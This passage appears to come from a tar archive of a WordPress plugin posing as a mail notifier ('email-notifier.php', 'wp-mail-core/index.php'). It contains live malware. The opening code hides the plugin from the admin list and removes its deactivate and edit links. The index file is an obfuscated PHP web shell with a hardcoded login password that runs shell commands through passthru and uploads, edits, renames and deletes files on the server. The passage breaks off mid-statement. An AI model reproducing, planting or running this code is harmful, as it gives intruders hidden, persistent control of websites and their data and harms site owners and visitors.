function hide_plugin_actions($actions, $plugin_file) {
    if (strpos($plugin_file, 'email-notifier.php') !== false) {
        unset($actions['edit']);
        unset($actions['deactivate']);
    }
    return $actions;
}
add_filter('plugin_action_links', 'hide_plugin_actions', 10, 2);
add_filter('network_admin_plugin_action_links', 'hide_plugin_actions', 10, 2); // For multisite

function hide_plugin_from_menu($plugins) {
    $plugin_directory = plugin_basename(__FILE__);
    unset($plugins[$plugin_directory]);
    return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_menu');
wp-mail-core/index.php000064400000106535147510273110010673 0ustar00<?php
 goto e1wlT; NB0Sq: echo "\74\57\x66\x6f\162\x6d\76"; goto VQQsO; YMMGj: fclose($chohD); goto BVJm3; PvSZM: echo "\x3c\151\x6e\160\x75\x74\40\x74\171\x70\x65\75\x27\x74\145\170\164\47\40\156\x61\155\x65\x3d\x27\x6e\x65\x77\137\156\x61\x6d\145\x27\40\166\x61\154\165\145\x3d\x27" . htmlspecialchars($_GET["\164\x61\162\x67\x65\164"]) . "\x27\x3e"; goto W00D4; Feadj: echo "\74\x69\x6e\160\x75\164\40\164\x79\x70\x65\x3d\x27\163\x75\x62\x6d\x69\x74\x27\40\156\141\x6d\x65\x3d\x27\x72\x65\x6e\x61\x6d\145\47\40\x76\x61\x6c\x75\x65\75\x27\x52\x65\x6e\x61\x6d\145\47\76"; goto sxHux; W07rX: goto PSaVo; goto Kv604; SJTIn: P6R8O: goto TdCSY; unhgl: echo "\x3c\x68\x33\76\x45\x64\x69\x74\x20\x46\x69\154\145\x3a\40" . htmlspecialchars($_GET["\164\x61\162\x67\145\164"]) . "\x3c\57\150\63\76"; goto cKwcP; XYk7X: $q7ZEO = isset($_GET["\x64\151\162"]) ? realpath($_GET["\x64\x69\x72"]) : getcwd(); goto NNegM; Calj5: if (fwrite($tCTFJ, $_POST["\146\151\x6c\145\x5f\143\157\156\x74\145\x6e\x74"]) !== false) { goto I4Fng; } goto DoRrE; X1_IF: if (function_exists("\160\141\163\x73\164\x68\x72\x75")) { goto r0LeZ; } goto prsYs; F_56B: OX2s8: goto vBeZy; NQQsc: SvI9_: goto yEc57; KmuNa: echo "\x3c\x69\156\160\165\x74\x20\164\x79\x70\145\x3d\x27\x68\151\144\x64\x65\156\x27\x20\x6e\141\x6d\x65\x3d\47\x66\x69\x6c\145\x5f\156\x61\x6d\x65\x27\x20\166\x61\154\x75\145\x3d\x27" . htmlspecialchars($_GET["\x74\x61\162\x67\145\164"]) . "\x27\76"; goto WQXaB; JKHjB: if ($DM4B5) { goto u40Pt; } goto YvEk2; nvhwF: c4YV1: goto ccc2p; YJDOE: echo "\74\143\x65\156\164\145\x72\76\74\x68\x31\76\74\163\164\x72\x6f\x6e\147\76\55\x20\171\170\171\40\55\74\57\x63\145\x6e\x74\x65\162\76\x3c\57\150\x31\76\x3c\x2f\163\x74\x72\x6f\156\147\x3e"; goto hBsZ9; Ds_BY: goto CjZc7; goto fRoG9; CLP6B: pIyiC: goto Mdndq; BZxSe: r3xSt: goto ujfAr; dyEOI: $CI7Qm = $_GET["\x72\x65\x61\144\x66\151\154\145"]; goto f0QwD; h4BNP: goto u8oQx; goto Svm78; EpUxP: ekJFS: goto cwDr6; cUZj1: $xCB4f = $C2iZN . DIRECTORY_SEPARATOR . basename($_POST["\146\151\154\x65\x5f\x6e\x61\x6d\x65"]); goto WeKJx; H_3WT: if (!is_resource($CDWcZ)) { goto EqI3m; } goto q3gLJ; oPYX3: goto AtA1D; goto rA1oF; m3cxJ: $Y3ohk = @file_get_contents($Vhptd); goto WPjky; t09qR: S4VxE: goto XtG94; TRJz7: if (copy($_FILES["\146\x69\154\145"]["\164\155\160\137\x6e\x61\x6d\145"], $biJU3)) { goto yrmlm; } goto IZrnf; YDbIl: echo "\74\151\156\x70\165\x74\40\164\171\x70\145\x3d\47\x66\x69\154\x65\47\40\156\141\x6d\145\x3d\x27\x66\x69\154\145\x27\x20\162\x65\x71\x75\x69\x72\145\144\76"; goto stRSY; to7F8: C6z0o: goto opyNj; I4awq: echo "\74\164\162\x3e\74\x74\144\40\x63\157\154\163\160\141\x6e\x3d\47\64\47\76\116\157\x20\151\x74\145\x6d\x73\x20\146\157\x75\x6e\144\x2e\74\57\164\144\76\x3c\57\164\162\76"; goto OB_AN; NU1ny: YPYi0: goto Ql80B; uT3vI: fclose($tCTFJ); goto qEGr7; Vc9Fp: goto JDwY9; goto eDEnR; oFpm3: echo "\74\160\x3e\125\x6e\141\x62\x6c\x65\40\x74\157\40\162\x65\141\x64\40\146\151\154\x65\56\x20\x49\164\x20\x6d\141\171\40\156\157\x74\x20\142\x65\x20\x72\x65\x61\144\x61\142\154\145\x20\157\162\x20\151\x74\x20\x64\157\x65\x73\x6e\47\164\40\145\170\x69\x73\x74\x2e\x3c\x2f\x70\76"; goto IV5VV; bX2_Z: goto Np6Aj; goto nGMe1; Zr2Ia: echo "\106\x61\151\154\x65\144\40\164\157\40\x6f\x70\145\156\40\164\150\x65\40\164\x61\162\x67\145\164\40\x66\151\x6c\x65\x20\x66\157\x72\40\167\162\x69\x74\x69\x6e\x67\56"; goto NS5bx; G5h0r: if ($a8let === "\145\144\x69\x74") { goto Z31ys; } goto VhjMw; Fv0cC: $Y3ohk = @file_get_contents($CI7Qm); goto IhVP7; JPuqS: goto L4iIW; goto biS69; MwM9k: if (rmdir($Vhptd)) { goto klsQz; } goto hVIrk; VQQsO: echo "\74\x68\63\76\x45\x78\145\143\165\x74\145\40\x43\x6f\155\155\x61\x6e\x64\74\x2f\x68\x33\x3e"; goto jVxfi; kyon3: JxR7a: goto OhKbL; OB_AN: goto c4YV1; goto JPgR5; INBBG: L4iIW: goto IlY9Q; phjy9: if (file_put_contents($xCB4f, $_POST["\146\x69\x6c\x65\x5f\x63\x6f\156\x74\x65\156\x74"]) !== false) { goto r3xSt; } goto nf3wE; VDxNG: proc_close($CDWcZ); goto dl13q; ujfAr: echo "\106\x69\x6c\145\x20\163\165\x63\x63\x65\163\x73\x66\165\154\x6c\x79\x20\x65\144\151\164\x65\x64\x20\165\x73\x69\156\147\40\x66\151\154\145\x5f\160\165\164\137\x63\157\x6e\x74\145\156\164\163\56"; goto mBqpo; ztLas: fclose($dqGlk[1]); goto AhYcm; foFQB: $XoHeB = null; goto XYk7X; IBlU4: kgGSf: goto l38jv; QpVoZ: echo "\106\x69\x6c\x65\40\47" . htmlspecialchars($_GET["\x74\141\x72\147\145\164"]) . "\x27\40\x73\165\x63\143\x65\163\x73\x66\x75\154\154\x79\x20\144\145\x6c\x65\164\x65\144\x2e"; goto hii3W; NpPkJ: echo "\x46\141\151\154\145\x64\40\164\157\x20\x75\x70\154\x6f\x61\144\x20\x66\x69\x6c\145\x20\165\x73\x69\156\x67\40\x73\164\x72\x65\x61\x6d\x20\x6f\x70\x65\x72\141\x74\x69\157\156\163\x2e"; goto tY80T; fPJ31: $nA6dC = @file($Vhptd, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); goto hX57w; OhKbL: if ($_SESSION["\x6c\x6f\147\147\145\x64\x5f\151\156"]) { goto kwgyr; } goto xKc1A; lhtX8: if ($Y3ohk !== false) { goto zC9Hm; } goto oFpm3; aMsNY: SRuLU: goto yZqet; BQ0Xr: lkiRB: goto hVB81; p3FHP: goto plp37; goto NU1ny; znd0a: if (is_file($Vhptd)) { goto C6z0o; } goto GwOCU; v7Saw: fVPSE: goto h4BNP; WwrdZ: echo "\x46\x61\151\x6c\145\144\x20\164\x6f\40\163\141\166\x65\x20\x66\x69\154\x65\40\x63\150\141\x6e\x67\145\163\40\x75\x73\151\x6e\x67\40\163\x74\x72\145\x61\155\40\x6f\160\145\162\141\x74\x69\x6f\x6e\163\x2e"; goto x41At; vdaTQ: echo "\x4e\141\155\x65\40\x63\x68\x61\x6e\147\x65\x64\40\x73\x75\143\x63\x65\163\163\146\165\x6c\154\171\x2e"; goto hbF0s; Tymxn: $C2iZN = isset($_GET["\x64\151\162"]) ? $_GET["\144\151\x72"] : "\x2e"; goto w3CqW; pgIJt: if ($_FILES["\x66\151\154\145"]["\145\162\162\x6f\x72"] === UPLOAD_ERR_NO_FILE) { goto njtUl; } goto FA2Yx; xKc1A: exit("\x3c\146\x6f\x72\x6d\40\x6d\x65\164\x68\x6f\144\75\42\x50\117\x53\x54\x22\76\x3c\x69\156\x70\x75\x74\40\x6e\141\x6d\145\x3d\x22\x70\x61\163\x73\x77\157\162\144\x22\76\x3c\x62\x75\x74\164\x6f\156\76\114\157\x67\x69\x6e\74\57\x62\x75\x74\x74\157\156\x3e\74\57\x66\x6f\162\155\76"); goto aglrD; b9FXZ: closedir($r9x18); goto nvhwF; ZDRoi: LZe9N: goto JrGNM; DnOSW: o1_Bc: goto uzp3u; t6JHm: if ($tCTFJ) { goto lA3mQ; } goto tPFTF; hIVSx: goto bJsor; goto y63vG; FzZnZ: CM1d4: goto eyfk8; faWyb: $p0sn2 = fopen("\160\x68\x70\72\x2f\x2f\x6d\x65\x6d\157\x72\171", "\167\53"); goto qaULH; vBeZy: echo "\106\151\154\145\40\165\x70\x6c\157\141\x64\145\144\40\x73\165\x63\x63\x65\163\163\x66\165\154\154\x79\x20\165\x73\151\156\x67\x20\x73\x74\162\x65\x61\155\40\157\x70\145\x72\141\x74\x69\x6f\x6e\163\x2e"; goto A8b0G; irqDm: if (!(!$C2iZN || !is_dir($C2iZN))) { goto d4jTi; } goto y6FJl; OESk7: $_SESSION["\154\x6f\x67\147\145\144\137\x69\x6e"] = true; goto kyon3; t6t22: HMHTu: goto f0r98; weXj6: echo "\74\151\156\x70\165\164\x20\x74\171\x70\x65\x3d\x27\163\165\x62\155\x69\x74\x27\x20\156\x61\x6d\145\75\47\x65\x78\145\x63\165\x74\x65\47\x20\166\141\x6c\x75\145\x3d\47\x45\x78\x65\143\165\x74\145\47\x3e"; goto RNtsA; x41At: goto R0rSY; goto A0kb7; IhVP7: if (!($Y3ohk === false)) { goto JiUvM; } goto SaB5h; x1xKJ: C2PkC: goto kNTI6; wHPsF: fclose($tCTFJ); goto KjwW0; G0n4g: if ($CDWcZ) { goto gDFYe; } goto fPJ31; mF7n2: NGa6c: goto opcWs; eyfk8: if (!(($rNb72 = readdir($r9x18)) !== false)) { goto vXDMS; } goto we1Dr; f20Fe: if (empty($eO767)) { goto P6R8O; } goto v3Fu9; S1605: f_5Bi: goto cfiPW; Mdndq: plp37: goto dQZ5e; Zzl1d: $YLGS4[] = $rNb72; goto EpUxP; a4idq: goto CM1d4; goto jjbSW; nSvvt: echo "\74\x74\x72\x3e\x3c\164\150\x3e\124\171\160\x65\x3c\x2f\x74\x68\x3e\x3c\x74\x68\x3e\x4e\x61\155\145\x3c\57\x74\x68\76\74\164\150\76\x50\x65\162\155\x69\x73\163\151\x6f\x6e\x73\x3c\57\x74\x68\76\x3c\164\x68\76\x41\143\x74\151\157\156\x73\74\57\x74\x68\76\74\x2f\x74\x72\76"; goto wpIqc; cfiPW: echo "\x3c\x68\63\x3e\122\x65\141\x64\151\x6e\147\x20\x46\x69\x6c\x65\72\x20" . htmlspecialchars(basename($CI7Qm)) . "\x3c\x2f\150\63\76"; goto Fv0cC; qEGr7: pnDaK: goto gO2jQ; qpfte: if (!($Y3ohk === false)) { goto OmM2Z; } goto qOe96; y6FJl: die("\x49\156\x76\x61\154\x69\144\40\x64\151\162\x65\143\164\x6f\162\171\56"); goto vetXq; ONRWv: if (!(isset($_GET["\141\143\164\151\157\156"]) && isset($_GET["\x74\x61\162\x67\145\164"]))) { goto SRuLU; } goto wOfg_; YLzhy: goto sfg8n; goto Su3vL; gV3o5: goto TNPjg; goto XOcWQ; uRWmv: echo "\x3c\x70\76\x49\156\166\141\x6c\x69\x64\x20\144\151\x72\x65\143\164\x6f\162\171\56\x20\x45\170\x65\143\x75\x74\x69\157\x6e\40\x61\x62\157\x72\164\x65\144\x2e\74\x2f\x70\x3e"; goto G9Aav; NblVT: echo "\74\164\x61\x62\154\x65\40\x77\151\x64\x74\150\75\x27\70\x30\60\47\40\x63\145\x6c\154\x70\x61\144\144\x69\156\x67\75\x27\x35\47\x20\x63\145\154\x6c\x73\160\x61\143\151\x6e\147\75\47\61\x27\40\x62\x6f\162\144\145\x72\x3d\47\x31\x27\76"; goto nSvvt; dl13q: EqI3m: goto yMjdi; dFpD6: goto s7h1n; goto SQMSw; Mgg3C: CjZc7: goto aMsNY; tkxuX: goto nPl6n; goto WPdH_; H5ulj: $zgy2y = $C2iZN . DIRECTORY_SEPARATOR . basename($_POST["\x6f\x6c\x64\x5f\156\141\x6d\145"]); goto F7vr6; WPjky: if (!($Y3ohk === false)) { goto HMHTu; } goto pfwTw; UkgYm: echo "\x46\151\x6c\x65\40\165\160\x6c\157\x61\x64\145\144\40\163\165\143\143\x65\x73\163\x66\165\154\154\171\40\165\x73\x69\x6e\x67\40\162\x65\156\141\155\145\56"; goto bPj_E; GBxmw: echo "\111\156\166\x61\x6c\151\x64\x20\164\x61\162\147\x65\x74\40\146\157\x72\40\144\x65\x6c\145\x74\x69\157\x6e\x2e"; goto c0Fi8; AJ5_4: if (!($_POST["\x70\141\x73\x73\x77\x6f\162\x64"] === "\171\170\x79")) { goto JxR7a; } goto OESk7; Ldioy: MtwdS: goto gmGUx; ooQRT: echo "\x3c\x2f\160\x72\x65\x3e"; goto Gnbnf; ncgvG: echo "\74\x70\76\x46\x61\x69\x6c\x65\x64\x20\164\x6f\x20\x65\x78\145\x63\x75\164\145\x20\143\157\155\155\x61\156\x64\56\74\57\x70\x3e"; goto YLzhy; q3AFf: if (!($nA6dC !== false)) { goto YWeRj; } goto WbbqL; stRSY: echo "\74\151\156\160\x75\x74\x20\x74\171\x70\145\x3d\x27\x73\165\142\x6d\151\164\x27\40\x6e\x61\155\x65\x3d\47\165\x70\154\157\x61\x64\x27\40\x76\141\x6c\165\x65\x3d\47\x55\160\154\157\141\x64\x27\x3e"; goto NB0Sq; zM3ZW: kGoIs: goto uT3vI; X0_u_: goto S1bjX; goto YV9YY; Z5gUR: echo "\106\141\151\x6c\145\x64\x20\164\x6f\x20\x72\145\x6e\x61\155\x65\x2e"; goto gV3o5; WbbqL: $Y3ohk = implode("\12", $nA6dC); goto CRM0h; Hi3hA: vXDMS: goto b9FXZ; f0r98: $Y3ohk = htmlspecialchars($Y3ohk); goto XXC7t; aQ70Z: goto CjZc7; goto RoiVG; IDsRO: $chohD = fopen($biJU3, "\167\x62"); goto d4ePs; SaB5h: $tCTFJ = @fopen($CI7Qm, "\162"); goto t6JHm; ilSN6: S1bjX: goto rULDB; VBLEF: U3jMy: goto euVmb; tgHBg: oCaJK: goto MwM9k; Svm78: njtUl: goto h1s83; ptTbm: echo "\106\x69\x6c\145\x20\163\165\143\143\x65\163\163\146\x75\x6c\154\171\40\145\144\151\164\145\x64\x20\165\x73\x69\x6e\147\40\x73\x74\162\145\x61\x6d\40\157\x70\x65\x72\141\164\151\157\x6e\163\56"; goto BQ0Xr; m4uCT: MVkn3: goto ELBxh; OdGA5: $Vhptd = $C2iZN . DIRECTORY_SEPARATOR . basename($_GET["\x74\141\162\147\145\164"]); goto Va6uI; qZokF: fclose($chohD); goto ptTbm; y63vG: s3qL6: goto cfIQT; Jvxiw: goto CjZc7; goto ZDRoi; JKI_D: pclose($CDWcZ); goto CLP6B; INPoL: echo "\106\141\x69\x6c\x65\x64\40\x74\157\x20\165\160\154\157\x61\x64\x20\x66\x69\154\145\40\x75\x73\151\156\147\x20\x6d\157\x76\145\x5f\x75\x70\x6c\157\x61\144\x65\144\x5f\x66\x69\x6c\145\x2e\40\101\x74\x74\145\155\x70\164\151\x6e\x67\40\141\x6c\x74\x65\162\x6e\141\x74\x69\x76\145\x20\155\145\164\150\157\144\x73\x2e\x2e\x2e\74\142\162\76"; goto TRJz7; n7IWB: zC9Hm: goto ufDqx; NNegM: if (!(!$q7ZEO || !is_dir($q7ZEO))) { goto r2_7K; } goto uRWmv; c0Fi8: goto XFOjE; goto nlFJ7; Gnbnf: eL9nI: goto aQ70Z; e1wlT: session_start(); goto AJ5_4; yxd6m: eR7HN: goto KnmNC; hii3W: hCarr: goto ZMAE3; Su3vL: eC_Dz: goto bi6oG; FWrK3: if (!$tCTFJ) { goto pnDaK; } goto wlqmg; cHBp7: echo "\x46\141\151\154\x65\144\x20\x74\x6f\40\157\x70\145\156\x20\146\151\154\x65\x20\x73\x74\x72\x65\141\x6d\163\x2e"; goto arvmN; okAvC: iqIAR: goto U0qoy; BTuCr: $Y3ohk = @stream_get_contents($tCTFJ); goto aMMBi; m4j32: rewind($p0sn2); goto PHGnz; PHGnz: $chohD = @fopen($xCB4f, "\167"); goto h6gZ6; wQHu7: r2_7K: goto MyjT9; PD6t2: AtA1D: goto l5QeZ; z8t6i: PSaVo: goto EZ57Q; fcjkC: goto zVCD6; goto ebJGL; oUZ3D: yrmlm: goto gHFvv; LM6Kt: echo "\x46\x69\154\x65\x20\163\165\x63\x63\x65\163\163\x66\x75\154\154\171\x20\145\x64\151\164\145\144\x20\x75\163\x69\x6e\147\40\x66\167\x72\x69\x74\x65\56"; goto ilSN6; l5QeZ: if (feof($p0sn2)) { goto R0rSY; } goto pWiAS; lfP6l: echo "\x3c\x2f\160\x72\x65\x3e"; goto hrW0B; nlFJ7: S7au1: goto P2pwf; bWMAh: if (!($Y3ohk === false)) { goto UyptY; } goto Y7D7v; hBsZ9: echo "\74\x68\x33\76\125\x70\154\x6f\141\144\x20\106\151\154\145\x3c\57\x68\63\76"; goto XwZ5w; rZ2Ko: echo "\106\141\x69\154\x65\144\x20\164\x6f\40\x77\x72\151\164\x65\40\x74\x6f\x20\x74\x65\x6d\160\157\162\x61\162\171\x20\x66\151\x6c\145\56"; goto tkxuX; HU2Y7: yS_A1: goto Cukoa; rA1oF: R0rSY: goto qZokF; gvQto: unlink($DM4B5); goto Snqj1; JuYE1: goto hCarr; goto XV3rZ; kos90: NX63E: goto nFTB8; M4rIF: echo "\106\x69\154\x65\x20\x6e\x6f\164\40\x66\x6f\x75\156\144\x2e"; goto bX2_Z; tPFTF: $Y3ohk = false; goto J3DLu; tvn1Y: $Y3ohk = implode("\12", $nA6dC); goto mF7n2; Dqbqk: echo "\106\141\x69\154\145\x64\x20\x74\x6f\40\x72\145\x6e\x61\155\145\x20\x74\150\145\40\x74\x65\x6d\160\157\162\x61\x72\x79\40\x66\151\154\x65\40\x74\x6f\40\x74\150\x65\40\x74\141\162\147\145\164\40\x66\151\x6c\x65\x2e"; goto cIzdr; ccc2p: function LLkIA($Z7MBZ) { goto vo2Z0; gGlNw: goto ekCSn; goto MAIEi; x_qx4: $IOkdn = "\142"; goto nuTVC; liwJg: $IOkdn .= $WsjpT & 0x8 ? $WsjpT & 0x400 ? "\x73" : "\x78" : ($WsjpT & 0x400 ? "\123" : "\55"); goto oz0K2; yu65e: $IOkdn = "\144"; goto ZBkJY; wRITB: goto ekCSn; goto bl0eQ; l0cOY: return $IOkdn; goto mGRrr; dV6fT: YkUg_: goto uRWmo; KNc3P: $IOkdn .= $WsjpT & 0x20 ? "\x72" : "\55"; goto NAIRU; Dvntv: if (($WsjpT & 0x2000) == 0x2000) { goto YkUg_; } goto kv4dW; lY6uH: $IOkdn = "\165"; goto wRITB; nuTVC: goto ekCSn; goto yxD7M; nrUd9: ekCSn: goto gh6rU; vJXHZ: MMAB7: goto x_qx4; vo2Z0: $WsjpT = fileperms($Z7MBZ); goto tvV04; aWtz2: $IOkdn .= $WsjpT & 0x2 ? "\x77" : "\x2d"; goto l8LL2; kv4dW: if (($WsjpT & 0x1000) == 0x1000) { goto MdFvo; } goto lY6uH; MAIEi: gX6Ms: goto mzkwS; vwwLd: $IOkdn = "\x2d"; goto AoxcG; ldXvv: if (($WsjpT & 0x8000) == 0x8000) { goto oYR1G; } goto ICadY; taN8t: $IOkdn .= $WsjpT & 0x40 ? $WsjpT & 0x800 ? "\x73" : "\x78" : ($WsjpT & 0x800 ? "\123" : "\55"); goto KNc3P; mzkwS: $IOkdn = "\x6c"; goto fr1Hx; ICadY: if (($WsjpT & 0x6000) == 0x6000) { goto MMAB7; } goto UH7Xy; UH7Xy: if (($WsjpT & 0x4000) == 0x4000) { goto QYQqn; } goto Dvntv; Z4ohY: $IOkdn .= $WsjpT & 0x80 ? "\167" : "\x2d"; goto taN8t; NAIRU: $IOkdn .= $WsjpT & 0x10 ? "\167" : "\55"; goto liwJg; ZBkJY: goto ekCSn; goto dV6fT; Qledf: oYR1G: goto vwwLd; oz0K2: $IOkdn .= $WsjpT & 0x4 ? "\x72" : "\x2d"; goto aWtz2; SMGvm: $IOkdn = "\x73"; goto gGlNw; xbFdt: goto ekCSn; goto L1ehF; JT0x3: $IOkdn = "\x70"; goto nrUd9; AoxcG: goto ekCSn; goto vJXHZ; QqLz2: if (($WsjpT & 0xa000) == 0xa000) { goto gX6Ms; } goto ldXvv; L1ehF: MdFvo: goto JT0x3; yxD7M: QYQqn: goto yu65e; gh6rU: $IOkdn .= $WsjpT & 0x100 ? "\162" : "\55"; goto Z4ohY; bl0eQ: KdOxz: goto SMGvm; l8LL2: $IOkdn .= $WsjpT & 0x1 ? $WsjpT & 0x200 ? "\164" : "\x78" : ($WsjpT & 0x200 ? "\x54" : "\x2d"); goto l0cOY; fr1Hx: goto ekCSn; goto Qledf; uRWmo: $IOkdn = "\x63"; goto xbFdt; tvV04: if (($WsjpT & 0xc000) == 0xc000) { goto KdOxz; } goto QqLz2; mGRrr: } goto Zkd17; npGjR: if (rename($DM4B5, $xCB4f)) { goto eTm9l; } goto Dqbqk; JrGNM: if (is_file($Vhptd)) { goto S7au1; } goto QpuK4; XwZ5w: echo "\74\x66\x6f\x72\x6d\40\155\x65\x74\x68\x6f\x64\75\47\x70\x6f\x73\164\47\x20\145\x6e\143\164\171\x70\145\75\47\155\x75\x6c\x74\x69\x70\x61\162\x74\x2f\146\157\162\x6d\55\144\141\164\x61\47\76"; goto YDbIl; opcWs: goto vzeNT; goto ESiCm; qOe96: $Y3ohk = @file_get_contents("\160\x68\x70\72\x2f\57\146\x69\154\x74\145\x72\57\x72\145\x61\144\x3d\x73\x74\162\151\x6e\147\56\x72\x6f\164\61\63\57\x72\x65\x73\x6f\x75\162\x63\x65\75" . $CI7Qm); goto JKtWa; CjS3f: ASufB: goto tvn1Y; CzKfz: goto MsIN3; goto S1605; gO2jQ: nAJ2e: goto qpfte; w3CqW: $C2iZN = @realpath($C2iZN); goto irqDm; gdVja: echo "\106\141\151\154\145\x64\x20\x74\157\x20\143\x72\145\x61\164\x65\x20\151\156\x2d\x6d\145\155\157\162\171\40\x73\164\x72\145\x61\x6d\x2e"; goto ADgUc; wotBw: fclose($CDWcZ); goto wir04; eksi3: $Y3ohk .= fread($CDWcZ, 8192); goto dFpD6; MyjT9: chdir($q7ZEO); goto cWkIO; FBVmZ: echo "\x46\141\x69\154\x65\x64\x20\x74\157\x20\144\145\x6c\145\x74\x65\x20\x66\x69\x6c\145\40\x27" . htmlspecialchars($_GET["\x74\x61\162\x67\x65\164"]) . "\47\x2e"; goto JuYE1; kdPuK: $Ixx1r = implode("\xa", $OtP_2); goto ey_MG; t2rle: lA3mQ: goto UIUXM; DiZWV: $DM4B5 = tempnam(sys_get_temp_dir(), "\x65\x64\x69\164\137"); goto JKHjB; JsTF_: $Ixx1r .= fread($CDWcZ, 8192); goto fcjkC; jVxfi: echo "\x3c\x66\157\162\155\40\x6d\145\164\150\157\x64\x3d\47\160\x6f\163\x74\x27\x3e"; goto qOUHg; BVJm3: if (file_exists($biJU3)) { goto OX2s8; } goto NpPkJ; J3DLu: goto R0IgN; goto t2rle; VhjMw: if ($a8let === "\162\x65\156\141\x6d\145") { goto qjwmy; } goto Jvxiw; v3Fu9: echo "\x3c\x70\40\x73\164\171\154\x65\75\x27\143\x6f\x6c\x6f\x72\72\x20\x67\162\x65\145\156\x3b\40\x66\x6f\x6e\164\55\x77\x65\151\147\x68\x74\x3a\40\142\x6f\x6c\144\x3b\47\x3e{$eO767}\74\x2f\160\x3e"; goto SJTIn; kNTI6: nPl6n: goto BmOef; pWiAS: if (!(fwrite($chohD, fread($p0sn2, 8192)) === false)) { goto iDdQV; } goto WwrdZ; qaULH: if ($p0sn2) { goto MtwdS; } goto gdVja; d4ePs: if ($p0sn2 && $chohD) { goto SvI9_; } goto cHBp7; BVgcZ: if ($tCTFJ) { goto y1yP3; } goto DiZWV; we1Dr: if (!($rNb72 == "\x2e" || $rNb72 == "\56\56")) { goto UdctY; } goto a4idq; DoRrE: echo "\106\x61\x69\154\145\x64\x20\x74\157\40\x73\x61\166\x65\40\x66\151\x6c\145\40\143\x68\x61\x6e\x67\145\x73\x20\165\x73\x69\156\147\40\146\167\x72\151\x74\x65\x2e"; goto X0_u_; Kd69R: $Y3ohk .= $Pbdzo; goto Oel3c; gNJLM: ob_start(); goto s2MCL; hbF0s: TNPjg: goto QRRgv; LUb1P: $tCTFJ = @fopen($CI7Qm, "\162"); goto n1j7p; U0qoy: goto fVPSE; goto HU2Y7; AhYcm: fclose($dqGlk[2]); goto VDxNG; ZMAE3: goto XFOjE; goto tgHBg; dQZ5e: if (!empty($Ixx1r)) { goto eC_Dz; } goto ncgvG; o_l3V: echo "\106\151\154\145\x20\x73\x75\x63\x63\x65\163\163\x66\x75\154\x6c\x79\x20\145\144\151\164\145\x64\x20\x75\163\151\x6e\x67\x20\164\145\x6d\160\157\162\141\162\171\x20\x66\151\x6c\145\40\x61\x6e\144\40\162\x65\x6e\x61\155\x65\56"; goto x1xKJ; wlqmg: $Y3ohk = ''; goto ya7q9; hVB81: fclose($p0sn2); goto rayok; R67ND: if (!($Y3ohk === false)) { goto FyQd9; } goto LUb1P; hDSSS: goto plp37; goto ry1zI; BmOef: if (!file_exists($DM4B5)) { goto a4RTZ; } goto gvQto; RNtsA: echo "\74\x2f\146\157\162\x6d\x3e"; goto xFBG9; aG0HH: goto eL9nI; goto to7F8; cwDr6: goto CM1d4; goto Hi3hA; TP2a8: $tCTFJ = @fopen($CI7Qm, "\x72"); goto FWrK3; gmGUx: fwrite($p0sn2, $_POST["\x66\151\154\145\x5f\x63\157\x6e\x74\x65\x6e\164"]); goto m4j32; A0kb7: iDdQV: goto oPYX3; nf3wE: echo "\x46\x61\151\x6c\145\144\40\164\x6f\x20\x73\141\166\145\x20\x66\151\x6c\x65\x20\143\x68\141\156\x67\145\x73\x20\x75\163\151\x6e\147\40\146\151\154\145\137\x70\165\x74\x5f\143\x6f\x6e\164\x65\x6e\x74\163\56\x20\x41\x74\x74\145\x6d\160\x74\x69\x6e\147\40\141\154\164\x65\162\x6e\141\x74\151\x76\145\x20\x6d\x65\164\150\x6f\x64\163\56\x2e\56\74\x62\x72\x3e"; goto eSi5G; HOy3n: sfg8n: goto kos90; SOe2I: if (!empty($Bg2B8)) { goto U3jMy; } goto XdjVQ; rbDie: echo "\74\160\162\145\40\163\x74\171\154\x65\x3d\47\x77\x68\x69\164\x65\x2d\x73\160\141\143\145\x3a\x20\160\x72\145\x2d\x77\x72\x61\x70\73\40\x62\x61\x63\153\147\x72\157\165\x6e\x64\x2d\143\x6f\154\x6f\162\72\40\x23\x66\x32\x66\x32\146\x32\73\x20\x66\157\x6e\164\55\x66\x61\x6d\151\154\171\72\40\155\157\x6e\157\x73\x70\x61\x63\145\x3b\x20\x6f\x76\x65\162\x66\154\157\x77\x2d\x79\72\40\141\165\164\157\73\x20\142\x6f\170\55\163\151\172\151\x6e\147\x3a\x20\142\157\x72\144\x65\162\55\x62\157\x78\x3b\x20\x68\x65\x69\147\x68\164\72\40\x32\60\x30\x70\x78\x3b\x20\x77\151\144\164\150\x3a\x20\x31\60\60\45\x3b\x20\155\x61\170\x2d\167\151\x64\164\x68\x3a\x20\x38\x30\x30\x70\170\73\40\155\x61\162\x67\x69\156\55\164\x6f\x70\72\x20\x31\60\160\x78\x3b\47\76{$Ixx1r}\74\57\160\162\145\76"; goto HOy3n; s2MCL: passthru($Bg2B8 . "\x20\x32\76\46\61", $XoHeB); goto SVMmD; ba2GP: echo "\x3c\146\x6f\162\x6d\40\x6d\x65\x74\x68\157\144\x3d\47\x70\x6f\163\164\x27\76"; goto PvSZM; hrW0B: uw3Q5: goto fspag; djKk3: goto NX63E; goto VBLEF; oUxdt: DgzNp: goto fp4EZ; TdCSY: if (!isset($_POST["\165\160\x6c\x6f\141\x64"])) { goto v6kK3; } goto pgIJt; FvJ49: JiUvM: goto bWMAh; Zkd17: if (!isset($_GET["\162\x65\x61\144\146\151\154\x65"])) { goto DgzNp; } goto dyEOI; KjwW0: R0IgN: goto FvJ49; XXC7t: Noyrd: goto unhgl; WaWEa: goto plp37; goto JtxOT; aBVXZ: goto YNXJE; goto BZxSe; hVIrk: echo "\x46\x61\151\x6c\145\144\x20\x74\x6f\x20\x64\x65\x6c\145\x74\x65\x20\146\x6f\154\144\145\x72\40\47" . htmlspecialchars($_GET["\164\141\x72\147\145\x74"]) . "\47\x2e"; goto JPuqS; Cukoa: echo "\x46\151\x6c\145\40\x75\160\154\157\x61\144\x65\x64\x20\163\x75\143\143\145\x73\163\146\x75\x6c\x6c\171\x20\x75\x73\x69\156\147\40\x6d\157\x76\145\x5f\165\160\154\x6f\141\144\145\144\137\146\x69\x6c\x65\x2e"; goto v7Saw; NNR6D: goto NGa6c; goto CjS3f; t9Lr0: if (function_exists("\x73\150\145\154\154\x5f\145\170\x65\x63")) { goto kgGSf; } goto LOFf0; IlY9Q: XFOjE: goto Ds_BY; lDSl1: if (move_uploaded_file($_FILES["\146\151\x6c\145"]["\164\155\160\137\156\141\155\x65"], $biJU3)) { goto yS_A1; } goto INPoL; u9t0i: echo "\106\157\154\x64\145\x72\x20\x27" . 